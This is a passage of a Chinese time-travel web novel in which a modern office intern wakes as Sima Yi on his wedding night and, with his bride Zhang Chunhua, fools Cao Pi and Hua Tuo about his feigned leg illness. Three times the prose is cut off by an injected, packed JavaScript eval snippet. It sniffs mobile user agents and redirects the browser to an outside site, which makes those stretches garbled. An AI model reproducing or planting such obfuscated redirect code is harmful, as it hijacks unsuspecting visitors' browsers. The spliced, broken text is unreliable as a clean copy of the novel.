张春华刚拉开屋室门扉,只见不远处的廊庑下远远地走来一行人。前面一人卑躬屈膝地引路,但嗓音极大,仿若嘶吼着在说:“诸位大人,你们注意脚下,前面就是我家公子的新房了。只是公子刚刚入洞房,与新夫人待在一处,我们待会怕是要站在门前稍等。以防冒犯了我家少夫人——” 张春华自知已经出不去,如今出去只会叫曹操的人看出端倪。她未作犹疑,立马将房门重新阖上,还插上了门闩,反身回到内室。 张春华郑重地告诉床榻上未必清醒过来的司马懿,道:“夫君,曹操派的那些人来了……” 待她走到床边,又在坐下去查看司马懿的情况。司马懿似乎极为不安稳和痛苦,阖上的眼皮之下,眼眸不停地打转、发颤,像是努力想地睁开双眼,但又奇难。 张春华只能一遍一遍地喊他,喊到嗓音嘶哑、哽咽:“夫君、夫君……司马公子、二公子……司马懿!” “别叫我!”身边的人忽然猛地一抬手,像是要拂开自己呼喊的声响,不满地喃喃道,“这实习的日子也太痛苦了,好不容易休假,我要好好地睡一觉!” 实习?休假?张春华完全听不明白司马懿如今的呓语,只当他是魇着了,更加情急地推搡、呼唤他,“夫君快醒醒啊,再不醒来,曹操的人就要到门前了。” “都说了别喊我!”下一瞬,司马懿猛地睁开眼睛,从床上坐了起来,怒气冲冲地瞋视面前的张春华。 他的眼神像是要吃人,吓得张春华浑身一凛,下意识地往后退坐了一寸。 张春华满目怔忪,不可置信地看向眼前明明熟悉,但举止眼神陌生的司马懿,小声地询问:“夫君,你醒了?” “夫君?!”对面的司马懿一惊一乍的,好像变了个性子,眼神由恼怒变得迷惘而清澈,环顾四周,拍着自己的面颊,不可思议地说道,“这是什么鬼地方,怎么还有个穿着汉服的小姐姐,我一定是在做梦!醒醒,快醒醒,司马毅,你后天还要起来上班呢!” 张春华越发听不懂司马懿的话,眉头都拧紧了。 司马懿则是先掐自己的面颊,大声地喊叫着:“疼疼疼……”而后又捏自己的腿足,明明是不太大的力道,却叫他眼前一黑,险些昏死过去。他甚至喊不出疼痛,只能张着嘴,无声地诉说自己的苦难。 张春华着急地上前安抚他,向他解释:“那个……夫君的腿是因为生了病对痛楚十分敏锐,若非必要,夫君还是不要触碰为好。” 司马懿翻了个眼,瞠目结舌地回望面前的张春华。 张春华不好意思再说话。 司马懿则是毫不避忌地猛地抬手扶上张春华的双肩,郑声道:“小姐姐,我问你,这是哪里?你们在搞恶作剧对不对?把我从家里抬出来,放到某个影视基地,想看看我的反应?你们到底想干什么,随意限制他人的人生自由是犯法的。” 张春华担心司马懿是不是被银针扎坏了脑子,犹豫、着急了半晌,顿时决定道:“我还是去给夫君请大夫吧,便是让那位华大夫来给夫君看看也行。夫君如今的言行,春华一点都不明白。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712183|144605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张春华说着就要起身。 司马懿又一把将她拉了回来,努力呼吸了几口气,平复自己的心绪,接着,尽量温和、理智地继续询问张春华,“好,就当你们没有骗我。哪敢问小姐姐,现在是什么年份、什么朝代?我是谁,你又是谁?” 张春华的眉头都皱成了一个“川”字,总算从这只言片语中察觉到什么,惊讶反问:“莫非夫君什么都不记得了?” 对面的人先是摇头,而后坚定地点头,不耐烦地回答:“是,我是失忆了。你就当我失忆了吧……” 张春华无奈,只能一点一点地解释给司马懿听,“如今是后汉新帝建安八年。夫君乃京兆尹司马防第二子司马懿,表字仲达。我是张春华,刚刚……刚刚与夫君拜完堂,是夫君的结发妻子。” 说到自己身份的时候,张春华有些许羞赧。 司马懿的眼睛瞪得更大了,嗓音也发起颤来,“等等,你说我是谁,是谁来着?司马懿,表字仲达?就是那个三国时期打败诸葛亮,最后熬死一众人的司马懿?” 张春华又不明白司马懿在说什么了。 她只是挑自己知道的回答:“夫君确实就是司马懿。至于什么三国、诸葛亮,我从未听闻。” “也对,如果现在是建安八年的话,你们古代人怎么会知道未来发生的事情。所以,我不是在做梦,是穿越了?”司马懿一副生不如死的难过模样。 张春华继续摇头,表示自己还是不明白。 司马懿叹了口气,似乎放弃与张春华辩驳,只是顺着张春华的话,接着询问:“那小姐姐,如果我就是司马懿的话,我现在是双腿瘫痪了吗?还有看这周遭布置,你我身上穿着喜服,今夜莫非是我们的洞房花烛夜?” 张春华先是摇头,而后又点头。 司马懿长长地舒了口气,感慨:“只要不是真瘫痪了就好。可是小姐姐……” 司马懿的眼神突然变得警惕,拢着自己的衣襟,拖着沉重的双腿往后挪去,一本正经道:“虽说我们可能行完礼,是夫妻了。但是你也知晓我失忆了,既然失忆,我便不能认下这门婚事。所以,你不能强行与我圆房。我们男人也是有自己的贞洁的。” 张春华满面的疑虑之色,先是不明所以,而后十分得不能理解,好像司马懿在说什么笑话、废话一般。 司马懿讪讪地假咳了咳。 此时,门外响起一阵急促的敲门声,伴随着高朗的人语:“公子、少夫人,曹司空派了二公子和华大夫前来祝贺公子新婚。” 这下换是司马懿不明所以了。 张春华则是美目微凝,继而故意嘤咛一声:“夫君,你的腿脚不便,莫、莫要再鲁莽了……” 那语气显然带着几分暧昧,听得司马懿是面红耳赤。 司马懿正羞赧地不敢与张春华对视,张春华提醒他,“应门,就说让他们稍等。” 司马懿尽管不明白,但还是迟疑地照作,扯着嗓子对着门外喊:“哦,知晓了,烦请诸位稍等。” 张春华尽量快速、简短地告诉司马懿,“曹公一直以为你有风痹病,双腿不利于行,借着我们成亲想要试探。你已经给自己扎了针,表征与脉象应当都不会有问题,待会无论如何,不要露馅。” “否则,我们都得死。”张春华更警告司马懿。 5. 第五章 司马毅一时其实有点不能反应眼前的情状。 他穿越了,来到东汉末年,在一间古质的房舍内,周围素木平梁,但四边床榻、屏风又雕花镂纹,看上去确实是还不错的家境,被昏暗的烛火环绕,只觉得目眩神迷。 坐在自己床前,被自己唤作“小姐姐”的穿汉服的女子,瞧着其实只有十来岁,和自己的表妹差不多大,搁未来,正是上初中的年纪。 但她姿仪、言行又要比自己稚幼的表妹成熟稳重得多。一言一语,条理清晰;一颦一笑,目光沉静且理智。 而且,她生得与表妹,或者说与未来的一些少女也不太一样。她并不十分瘦弱,不像表妹小小年纪已经开始节食减肥。小小的一张鹅蛋脸,尽管只有巴掌大,却轮廓顺滑。 柳眉、杏眸,虽用脂粉做了妆点,但更多保留了原本的形态和模样,只修饰得更为精致。并不会让人觉得是在扮作大人。 或者说,她本身的气质就有几分成年少女的韵味。 最最特别的是,她居然说自己穿越成了司马懿,而她是自己刚刚过门的结发妻子。历史上司马懿的发妻叫张什么来着? 司马毅暂时想不起,而那少女已经羞颤着嗓音在说:“夫君,你腿脚不便,莫、莫要再鲁莽了……” 饶是司马毅觉得如此臆想一个稚幼的少女,自己实在可恶。可是从她的语气、情态,自己也猜测不出第二种情况。 少女突然猛地推了自己一下,因自己双腿沉痛,不受控制地跌在榻上。司马毅刚想质问她“做什么”,回眸只见她正在整理衣衫。 她并非是将身上的衣衫拢紧,反而略略扯开外衣的领口,更加露出内里的中衣,还稍稍揉乱了发髻,垂下几许短碎的青丝。 瞧上去,虽然也还算得体,但总有一种不言而喻的暧昧和旖旎。 司马毅先是认真地看了一会,而后匆忙地挪开目光。 少女又在顾自地掐着嗓子说道:“夫君,有人来了,我、我先去开门。夫君稍坐……” 她临走前,还特地扯皱了床榻上还不够凌乱的被衾。如今叫人一看,便觉得自己与她先前一定在这榻上待过。 司马毅的脸更红了。 谁敢想,他一个已经大学毕业的成年男性,居然被一个才十来岁的少女戏弄得面红耳赤。他也不是一点不懂男女之情,曾经追过人,也被人追过,甚至还短暂地谈过一段时间恋爱,可是那时太单纯,只牵过女生的小手,连拥抱都十分羞涩、不好意思。 现下比起羞赧,要假装自己染指了一个和表妹一般大的小少女,还是愧疚和耻辱更多些。 司马毅长叹了一口气,探出首,顺着屏风边缘,朝外望去。 少女一边开门,一边假意拢紧衣襟和理顺青丝。当开门的一瞬,在外面人看来,里面一定发生了一些令人羞于启齿的事情。 除了站在最前面,做仆役打扮的一个少年表情古怪外,其他几人皆是了然于心、可以理解的模样。甚至还微微地扬唇,在调笑自己与少女。 那仆役打扮的少年最先开口:“少夫人,小的身后这二位便是司空大人派来祝贺少夫人与公子新婚的。” 少年说着,随之让开位置,到一旁介绍身后的俩人,先是指着一个十六七岁的小公子说道:“这位便是司空大人的公子。” “曹丕,曹子桓。”那小公子主动报上姓名、表字,与少女拱手、作揖。 少女亦是礼数周全地福身、回礼,称呼:“见过曹公子。” “还有这位。”仆役打扮的少年又指向小公子曹丕身旁的另一位老者,说道,“这位是华佗华大夫,司空大人的贴身医者。司空大人垂怜公子身体羸弱,特遣来为公子诊治。” 少女又在施礼,说着:“见过华大夫。” 内室的司马毅听闻这四人的对话则是震惊不已。曹丕、华佗?这俩人可都是三国历史上鼎鼎有名的人物。 他没想到自己还有机会亲眼见见活着、真实的他们。 少女温韧的嗓音再次响起:“二位请进吧,我家夫君因腿脚不便,方才又、又过于使力了一阵,有些起不来身,怕只能劳烦二位去内室瞧他了。” 少女说着,似乎领曹丕、华佗,还有几个随行的侍卫步入屋室。 到了屏风近处,小公子曹丕吩咐道:“你们就等在外室,我与华大夫进去内室探望便好。” 那几个侍卫异口同声、嗓音洪亮地敬称:“诺。” 司马毅本还在四处张望,闻声,立马收回脑袋,装作莫可奈何,又颇为懊恼、沉痛地倚在床榻上。 未几,少女并着两个陌生人出现在自己床前。 年幼的那个应当就是曹丕,穿着一身雾蓝与墨色间杂的劲装,布料上满是暗纹、丝绣。长相也颇为清俊,瘦瘦高高,身型挺拔、颀长,宽肩窄腰。 年长一些,头发已几近完全花白的则该是华佗华神医,虽然面容看上去老态、褶皱满布,但是眼眸依旧清亮,表情祥和、精神矍铄。 司马毅望着他们,正在仔细地观察他们。目光瞥见少女,少女朝他使了个眼色。他后知后觉地赶忙拖着沉重的双腿,假装要起身施礼,“有劳二位不辞辛苦前来探望。” 只是他刚挪到床边,就因为双腿实在疼痛得厉害,“啊”地一声,复倒在榻上,疼得翻来覆去、左右打滚。 小公子曹丕先是漠然地垂眸睨他,看了好一会后,见他额上冷汗频出,方才波澜不惊地说道:“司马公子既是身体不适便不用起来了。我等也只是奉司空大人之命前来祝贺公子新婚罢了。只是公子这身子……” 曹丕顿了顿,有些不情愿,而后才嫌弃地说完:“怕是这新婚之夜不太便利。” 他明明是在说一些夫妻、男女之间曼妙的事情,可是语气、神态严肃板正得好像要从军出征一般。 司马毅既觉得奇怪,又讪讪地不知该如何回答。 这少女也没告诉自己,自己不能人道啊?况且这腿疾真的会影响自己的能力吗?如果少女说自己的腿疾只是一时的是真的,那么这不能人道是真的还是假的,是一时的,还是永久的? 若是假的,乃至一时,自己还能忍受。可若是长久都会如此,司马毅觉得自己还是再睡一觉,穿越回去吧。 自己穿成司马懿,司马懿在历史上再是厉害,可若是私下里不能人道,实在太侮辱人了。这和自己好好一个健康男青年,变成古代的太监,有什么区别? 人道是男人尊严的底线。司马毅绝不能允许自己的底线被侵犯、破坏。 司马毅面上的表情一阵风云变幻,时而疑惑,时而痛苦,时而不堪,时而恼怒…… 少女觉得他表情太多,隐隐露出愠色,但是有曹丕和华佗在,她又不好发作,只能自己出声,转移华佗和曹丕的注意力道:“如此,还请华大夫救救我家夫君。” 她以袖掩面,装作泫然欲泣的模样。趁着司马毅也看向她,用目色警告,装得给她像一点。司马毅这才赶忙收敛自己外露的表情和情绪。 曹丕望了望他们夫妻二人,沉默了片刻后,冷淡地说道:“华大夫,为司马公子诊脉吧,定要将他的病症探查得一清二楚,好助司马公子彻底根治,也方便我们回禀司空大人。” 这后半句就是意有所指了。想来,曹丕让华佗给自己诊脉,应当不是真的为了救治自己,而是想查清自己到底有没有得病,得的是什么病。 司马毅又在困惑起来,历史上司马懿不就是隶属于曹操阵营的吗?怎么这早年的时候,曹操还派自己的儿子和华佗来试探司马懿? 还有这司马懿既然最后还是追随了曹操,为什么眼下要装病欺瞒曹操? 都怪自己,一直以来对三国只是知晓个大概,像这种具体到某个人物发迹的前因后果根本不太清楚。除了诸葛亮出山是被刘备三顾茅庐的,司马毅并不了解其他人。 司马毅的面上露出明显的疑虑。 曹丕注意到,似笑非笑地讥讽着反问:“怎么,司马公子心虚了吗?” 司马毅察觉曹丕是在试探自己,匆匆地开口辩解:“倒也不是。只是怕华大夫真诊出来我今夜不太便利,会使我在新夫人近前颜面扫地。” 司马毅还特地小声了一些,装作不愿把这些隐疾说出来,让旁边的少女知晓。 曹丕不屑地冷哼一声。 司马毅觉得他这样不好,遂又多言道:“小公子一向如此傲慢、瞧不起人吗?这可不对。人人皆平等,纵然小公子如今位高权重,可难保日后没有需要求助他人的时候。所谓‘人前留一线,日后好相见’。况且,小公子年纪还小,或许不懂,这男人在自己的女人面前最是 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司马毅实在不明白华佗说话为什么要大喘气。曹丕的目色则是更冷了。 华佗继续道:“若是今夜定要操劳,本身没什么问题。但是公子风痹病正发,双腿只怕比往常疼痛得更加厉害,作为医者,还是希望司马公子今夜调养身心,不宜大动。” “公子年纪轻轻,却为风痹病所缠,说来少见。但确实是风痹病无误。”华佗说着,回眸看了身后的曹丕一眼,正首,继续对司马毅说道,“若是长此以往下去,只怕这髌间会生痛石,到时彻底不能行走,怕还要划开腿肉,割下痛石才行。” “可惜此病难以根治,唯有日常多加注意、尽量调理。公子切记少食汤羹、炙烤,勿要饮酒,否则病况只能一直加重。”华佗补充说道。 司马毅无不感激地应是。其实,他根本没弄清楚,风痹病到底是个什么病,听上去倒是像未来的痛风一般。但只要华佗说了自己本身没有不能人道,自己就什么心都放下了。 虽说他在古代二十多岁感染痛风实在少见,但是在未来可不算稀有。未来食品安全问题颇多,年轻人又不喜欢做饭,还常吃烧烤,可不得痛风吗? 见司马毅面上有几分松快下来,曹丕总觉得还有哪里不对。他特地又在询问华佗一遍,“当真是风痹病无误?” 华佗回答:“是。” “这风痹病除了腿足疼痛,不便行走,可还有其他症状?”曹丕不依不饶。 华佗思忖着回答:“早期无有其他。后期如老朽所说会生痛石,但这痛石何时生,又有多大,各人不同,无法估量。” “那司马公子介意让我捏捏你的腿吗?”曹丕目光如炬地看向司马毅。 司马毅想都没想地便答:“自然介意。”他这腿随便一挪动都疼得要死,如何能任曹丕触碰? 曹丕则是威胁他道:“我想司马公子很清楚,若是今日司马公子的病症有一丁点存疑,司空大人都不会轻易饶过司马公子的欺瞒之罪。” 司空大人?就是曹操吗? 在司马毅的印象中,曹操确实就是那种能狠得下心、杀伐果断之人。 但他也实在不想让自己疼痛。 他还在纠结间,少女替他出声道:“为证我夫君清白、消除曹公疑虑,公子若实在想要求证便去做吧。只是还请公子,将我夫君如今的病情,如实告知曹公。” 少女此话说得不卑不亢。司马毅则是目瞪口呆,腹诽道,她倒是很能慷他人之慨。可是,让他自己拒绝,他又不敢。 曹丕已经伸了手上来。 曹丕学过武,剑术精湛。他既能随意挥舞十几二十斤的青铜剑,便不会是力道匮乏之人。曹丕积蓄了气势,狠狠地捏在司马毅的膝上。 只听“啊”地一声,伴随着之后长久的沉寂,窗外的孤鸦四散而飞。 饶是前院被接待的宾客也静了一静,继而重新喧闹起来。 半盏茶的功夫后,曹丕与华佗请求告辞。 司马毅望着曹丕的背影,虽汗流浃背,但仍咬牙切齿道:“臭小子,你以后最好不要有求于我,否则……嘶……” 少女回眸略瞋了司马毅一眼,旋即笑容可掬地上前送曹丕和华佗离开。 6. 第六章 张春华送曹丕与华佗离开新房。 屋外,已是一片浓墨泼洒般的夜色。 张春华就站在门首,静静地眺望了一会。 前方,曹丕与华佗并行。曹丕表情凝重,状若沉思,隔了好半晌,侧首向身旁的华佗望去,再次询问:“确定是风痹病无误?” 华佗颔首。 曹丕似乎仍旧不肯相信,沉默了一会,又汲汲地说道:“我自是信任先生的医术,先生既确定脉象与表征皆是风痹病,那定然没有问题。但倘若,那司马懿使了什么手段,使自己的脉象和表征变得如此,有没有可能?” 曹丕的目色在晦暗的灯火下熠熠着明耀的光。 华佗闻言,亦是沉思了良久,方才捻须作答:“若是真要假装脉象与表征,以银针促之未尝不可。但此举实在危险,一个不慎,说不定连命都会丢掉。” “可是司马懿他还活着。”曹丕蹙眉,坚定地说道,“既然不能完全排除他装病的可能,不如就将这两种情状都回禀司空。” “来人,寻几个不易被察觉身份的,或者本就是司马府的人盯着司马懿的一举一动。倘若他心里有鬼,不可能不露出一点破绽。”曹丕的目光继续转动,对着身后的一丛侍卫不容置疑地吩咐。 侍卫们抱拳称“诺”。 到曹丕与华佗的身影彻底消失在内院,张春华回首,欲往新房里去。转眸瞥见,先前引曹丕等人过来的那少年仆役,随便地询问一句:“你是公子的书童?” 那少年仆役面上还有几分稚气,浓眉大眼,恭顺地回答:“是。” 张春华微微颔首,又道:“你们府上可有信得过的大夫?若是有的话,请他明日一早来为你家公子诊个脉吧。” 听到要为司马懿请大夫,少年仆役顿时着急、担心起来,抬眸直视张春华,询问:“我家公子怎么了?” 说着,他就要率先往新房内进。 张春华为了阻止他,解释道:“也没什么。只是你家公子强行扎针让自己发病,我担心他的身体,想着让大夫诊治一番总没有错处。” 少年仆役这才停住步伐,长长地舒了一口气,而后恢复恭敬地说:“既然我家公子没事,夜色已深,少夫人与公子早些休息。” 张春华再次颔首。 到少年仆役要从她身旁走开,张春华突然忆起什么,又在问道:“你叫什么?” 少年仆役顿步回答:“小人横槊。” 横槊?倒是个隐有几分豪气的名字。 张春华不再迟疑,抬步继续往新房内进去。待自己入了新房,又将门扉紧闭,并插上门闩。 她总算稍稍松了绷紧、挺直的背脊,自外室亦步亦趋地到内室。 内室,司马毅还坐在床榻上抱着双腿,努力让自己适应曹丕捏掐过后漫天且盈久的疼痛。 司马毅全身都是汗,面色惨白,双唇微颤。 张春华站到他面前,目色如炬,语气郑重地说道:“夫君当真失去了记忆?” 司马毅抬眸,有些不明白地看向张春华,面上既是无奈,又是不悦,唉声叹气地回答:“我骗你做什么?我甚至连自己姓甚名谁都想不起来。还有你,你说你是我刚刚过门的妻子,你叫什么?” 张春华秀眉紧蹙,并没有立刻回答司马毅的反问,反而就此细细地打量起司马毅来。 眼前人从容貌和外表来看,确实还是那个与自己拜了天地、一同入了洞房的司马懿。可是他的神情姿态、眼眸间的情绪流转,都像是从一个游刃有余、城府极深的成年男子变作了未经锤炼、少涉人世的天真少年。 失忆会让人连性情都随之改变吗? 可是,除此以外,还有什么可能呢?司马懿一直与她待在一起,是她看着司马懿自己行针、昏迷,而后再次醒来,便是真从司马懿换成了其他人,她也不可能发现不了。 张春华还在思忖,司马毅见张春华没有说话,怕她有所顾忌,或是误会什么,胡乱地解释道:“我是觉得,我既然失忆了,也忘记了与你拜堂成亲之事,自然一时间还不太能接受自己多了个妻子。所以,比起直接的夫君、夫人相称,我们不如先唤彼此的名字。当然,我也不是说不认你这个妻子……” 自然是不能认啊!难道原本的司马懿留下的风流债,自己还要承担不成?自己又不是真的司马懿,也并不喜爱眼前这个少女,凭什么要因此耽误了自己的终身? 司马毅嘴上说着一套,心里想得却是另一套。 听到他的解释,张春华这才开口:“我、小女……我名唤张春华。” 她似乎连给自己的称谓都找不好了。但她觉得如今的司马懿说得也有道理。他既不再像从前的他,自己则是认定从前的司马懿才是自己的夫婿,在他恢复记忆前,或者自己能接受前,他们还是拉开点距离为好。 “那为防止别人怀疑,显得我们过于疏远,我便唤你春华。你唤我……”司马毅一时想不好古代人要怎么叫自己的名字。 像自己的朋友一般唤自己“司马”?可是整个司马氏都是姓司马的人啊。学电视剧里的古代人,叫彼此阿什么?阿毅,听着像阿姨一般,还是算了。 司马毅冥思苦想,只觉得双腿更加疼痛。 此时,张春华不慌不忙地柔声开口:“仲达……” 司马毅眼前一亮,他倒是忘了如今自己作为司马懿,还有一个表字可以供别人称呼。既是表字,唤起来必是亲昵,但到底不是夫君,不会让自己觉得难受。 司马毅拍床道:“对,就是仲达。” 但他的力气太大,拍得床板一震,牵连着床板上自己的双腿随之也是一震,剧烈的疼痛再次袭来,司马毅张大嘴,却是再没有力气喊叫。 又反应了好一会,他才稍稍恢复。 眼见他全身都被汗水濡湿了大半,张春华迟疑着,还是好心道:“我去拧个帕子来给夫……不,仲达你擦擦身子吧?” 司马毅下意识地以为她要亲自给自己擦,目瞪口呆地回望张春华。 张春华已经转身去床侧的铜盆处拧了干净的布帕。 她将布帕递给司马毅,司马毅这才意识到自己想多了。 司马毅讪讪地接过帕子,脱去外衫,只剩中衣,先从额头、脸颊,再擦到颈项、前胸。由于古代的衣裳是开衫设计,稍稍拉扯,便会露出胸膛。 张春华只看了一眼,便急忙地转过身去。 那宽阔的胸膛上,麦色的肌肤细腻,非是一马平川,而是有淡淡的肌肉线条起伏,中间低两边高,两边漫入最高峰上的顶点。 张春华哪还敢再看。 司马毅却是没注意这些,他也没觉得现在这具身体比自己原本的出色。自己在未来也是会稍微健身的,算不上满身肌肉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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司马毅听到她说她也要梳洗,想来梳洗过后便是就寝,纵目望向四边,这偌大的居室似乎只有自己身下这唯一一张榻。她难道是要与自己同榻而眠? 司马毅颤声开口:“那、那个……你待会睡在哪?” 司马毅不提,张春华还没有想到。司马毅一说,张春华先是一愣,而后同样环顾四周,甚至站起身到屏风边望了望外室,确定没有其他地方可睡。 张春华犹疑道:“要不待会,我在地上铺个被衾便好。” “可你一个女孩子,这还是冬天……还是我睡地上吧。”就算不是古代的君子,未来的绅士教育,也让司马毅觉得自己应该照顾女孩子。 他努力着要爬起身,但是下一瞬又是“嘶”地一声惨叫。 张春华忍俊不禁,“你都这样,还是别与我抢了。” 司马毅摇了摇头,看了看地面,又看了看榻上,想起从小他姨妈就不让他表妹打地铺,即使是夏日。因为地面寒凉,对女孩子身体不利。 司马毅再是不在意张春华,也不想伤害她,又好一阵思考,方才犹犹豫豫地说着:“我瞧这床榻也不算小,要不我们一起睡?不过,你放心,我绝对不会对你动手动脚,我们可以一人盖一床被子,并且在彼此之间再放一床被子,也防止我们谁睡着了乱动,触碰到另一人。” 张春华:“……” 7. 第七章 翌日,当清晨的微光透过窗牖笼罩在未曾放下床幔的榻上,张春华疲累地悠悠转醒。 她觉得肩头很重,像是被巨石压着,垂眸望见一只伸展开的手臂,无奈地轻轻叹息,而后拨开那只手,坐起身来。 说好的,谁也不越中间的被衾一步,可是枕边人不仅没将被衾当作阻隔,反而抱着被衾,双手双脚架在被衾上,一派享受的模样。 好在他确实还算没有对自己动手动脚。 张春华正犹疑着要不要起来,枕边人由于先前被拨弄的那一下,不安地辗转着,先是正过身去,而后收回双手、再是双脚。 几乎是下一瞬,他由于习惯性的肆意动作牵扯到腿足,疼得惨叫一声,接着猛地睁开双眼,也坐了起来。 司马毅环顾四周,表情迷茫,继而注视了张春华好一会,先是目不转睛,又是不停眨眼,末了长叹一声:“昨晚居然真的不是在做梦?我竟然还没有回到未来。” 张春华无数次地听不太明白他在碎碎念什么,但是已经见怪不怪。 张春华顾自、平静地开口:“夫……不,仲达,该起了。今日是新婚第一天,应早些去往前堂拜见舅氏、大伯和小叔们。” “舅氏、大伯和小叔……”司马毅重复着,因为刚刚睡醒,脑袋还昏沉,对于这些古时的称呼还不太能反应。 他正疑惑新婚第一日为何不拜见父母,而是要拜见舅舅、伯伯和叔叔。 张春华耐心地解释:“便是父亲、兄长和弟弟们。” “为何没有母……”司马毅本能地又想发问,可话到嘴边倏尔清醒过来,既然一开始张春华便没提,大概是自己的母亲因为种种缘由已经不在。 司马毅抿了抿唇,闭了闭眼再睁开,迫使自己完全苏醒过来,迟疑着,还是只敢询问张春华,“我父亲、兄长和弟弟们是?” 他虽然知晓一点点的三国历史,也知道司马懿,但是并不完全清楚司马懿的家庭关系和自己的人物角色。 张春华略瞥了司马毅一眼,面上的表情慨然,随之更加莫可奈何地回答:“仲达你的父亲是京兆尹司马防。你出生于河内郡温县司马氏,兄长司马朗,现任曹司空掾属,是位颇有才名的俊杰。你排行二,下面还有六个弟弟。” “多少?你说多少个弟弟?”不等张春华话音完全落下,司马毅目瞪口呆地惊声反问,而后又在碎碎念,“这古代人,不,是我现在这具身体的老爹未免也太厉害了,加上我和前面那个什么叫司马朗的兄长,岂不是有八个儿子?什么人啊,能生八个,还全是儿子。” 司马毅良久没有阖上唇齿。 张春华已经起身,叠铺好了自己睡着的这半边的被衾和床褥。 司马懿又在发问:“那我要怎么认全他们,春华你都认得吗?” 张春华一边转身往衣桁旁去,一边摇头作答:“并不都认识,勉强能认出长兄与三弟罢了。但是,既然人数太多,于前堂上多半会按年纪长幼排序。估计也有好几位不会来,你既是兄长,粗略地施礼便好,应当也不需要把他们的名字都叫出来。若是之后父亲与长兄起疑,你大可将不慎失忆之事告诉他们。就是我也不知,你早前装作有风痹病的事情他们知不知道。但我瞧着横槊应该比我晓得更多。” 司马毅皱眉,“横槊又是谁?” “你的书童。” 张春华穿好干净的新衣裳,一身橘红色的曲裾,映衬着容颜如若桃李,勾勒出全身玲珑匀称的线条,明艳娇丽得如若暖葵,叫人望之挪不开眼。 司马毅只是稍稍一瞥,便沉浸其中。还是张春华再次催促他,“该起了,你的腿可有好些,待会去往前堂,还能自行步走吗?” 司马毅回过神来,摇头,又在摇头,他虽是觉得比于昨晚已经没那么一碰就会疼了,但是依旧不能大动。 他甚至在奢望,“要不就告诉父亲他们我实在不能行走,让他们免了今日的拜见?” 张春华听了,也微微摇首,说道:“你若是实在不能走,不去也行。但我作为新妇还是要去拜见父亲与兄长和弟弟们的。” 张春华说完,低下头去,显得有几分茫然、无措。 她虽然什么都没多说,但是司马毅感受到了一些莫名的情绪。她只身嫁入司马氏来,无人可以依傍,也谁都不认识,或许自己还能陪伴她一二,可是没了自己,她真就是什么都要一个人面对了。 司马毅心有不忍,考虑到不仅她要倚仗自己,自己以后多半也要倚仗她,随之不好意思地改口:“其实,也没那么艰难,你找个人扶我,我还是能勉强走动的。” 张春华闻言,猛地抬起首来,杏眸亮亮的,如若夜晚当空的星辰。 司马毅忍不住微弯了唇角。 张春华又在对着门外唤道:“韵竹,端水进来吧。还有,去把公子的书童,那位名唤横槊的少年也请来。” 当即,便有另一个男声急切地说着:“少夫人不必找了,小的在呢。” 随后,张春华到外室去拔门闩,门“吱呀”一声被打开,司马毅探首,还没看清什么,便见一个灰衣小仆匆匆地走到自己床前,激动万分地说着:“公子,还好你没事,昨夜真是吓死横槊了。偏生少夫人还说要找大夫,若非今日还能再见公子,小的都要投井去给公子陪葬了。” 司马毅震惊地看着眼前名叫横槊的小仆,见他说得声情并茂,仿若下一瞬就要痛哭流涕,满面的无奈和尴尬。 司马毅想笑又笑不出来。 横槊汲汲又道:“公子昨日强行施针、催发病情,想必今日这腿足还疼吧?横槊这就伺候公子穿衣,待会搀着公子去往前堂拜见家主。” 司马毅想拒绝,但是他也没有办法,自己如今行动不便,穿衣、行走确实十分需要他人的帮助。原本,他最信任的自然是张春华,可是到底男女有别,有些贴身的事情,他也不好劳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只是韵竹察觉自己嗓音过大,赶忙降低许多,脚步匆匆地到张春华身边,继而小声:“公子是真的不行吗?” 那眉头都快拧巴成一股麻绳了。 张春华先是耐心地再次纠正她,“都说了,如今要唤我夫人了。”而后,也同样小声地与她解释,“并非是什么行不行的事情,只是昨夜公子他犯了病,万没有可能这样还要圆房不是?” 可是,司马毅回眸,望向室内,偶尔与韵竹探首出来的双眸对上,韵竹都会以一种嫌弃、同情的目光来回打量自己。 其中意味即便司马毅没有完全听清她们主仆二人的对话,也能猜测出个大概。 她们一定是以为自己不行。 司马毅懊恼不已,这种情况下,他根本没法证明自己。言语太无力,他也不能就因此去触碰张春华,对自己和对张春华的余生不负责。 只是韵竹的眼神也太羞辱人了! 8. 第八章 去往前堂的途中,张春华与韵竹亦步亦趋地并行着。 身后,横槊搀扶着司马毅,既要指引前方俩人的方向,又在与司马毅详说他与家中父亲、兄弟的关系。 “少夫人,廊庑尽头左拐。” 横槊先是稀松平常地一句,转而对着司马毅郑重其事地又道:“家主向来严苛,无论是对待公子还是其他儿子,有错处都是直接教训。但公子不似大公子恭谦,也不似其他公子卑微,常与家主阳奉阴违。” “其中,大公子最是疼爱公子不过,但公子一直对大公子亲善曹司空的态度不屑。觉得大公子过于管束于你,是而也常敷衍了事。” “公子与三公子的关系最为亲近,大约是三公子年幼、性子温和,常受你哄骗,虽表面像个谦谦君子,可背地里总帮着公子你做坏事。” “至于其他弟弟,公子与他们不可谓不亲善,但也没有太过亲近。公子一直嫌弃其余几位公子年岁太小、才智还短浅。” “我这么傲慢吗?”司马毅听着听着,自然而然地概括出原本司马懿的性格,随便地反问道。 